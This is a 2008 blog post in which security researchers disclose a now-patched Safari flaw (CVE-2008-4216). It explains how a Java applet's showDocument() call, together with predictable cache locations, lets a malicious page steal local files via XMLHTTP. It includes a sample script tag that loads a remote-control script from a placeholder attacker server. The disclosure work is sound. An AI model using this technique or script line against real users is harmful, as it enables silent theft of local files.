Wednesday, November 19th, 2008
Apple recently patched a vulnerability Nitesh “Leisure Suit” Dhanjani and I reported to them last week (CVE-2008-4216). We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638). In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.
The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary. The issue starts simply enough with a victim visiting an attackers webpage. Once on the attacker’s webpage, the attacker simply loads a Java Applet. Inside of the applet is a call to getAppletContext().showDocument(URL);
getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument(). Normally, browsers will not let remote sites open new browser windows which point to local files. It seemed that Safari had some issues determining the specific “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system.
Now here is where things get interesting… Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control. There are a couple ways plant our content in a predictable location using Safari. Safari, by default has a reasonably predictable location for cached/temporary files. We can use these predictable locations to load our content, we’ll have some guessing to do, but it works… Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy. I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.
In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.
Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted. We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously). The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system. You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system. Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.
Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and any subdirectories).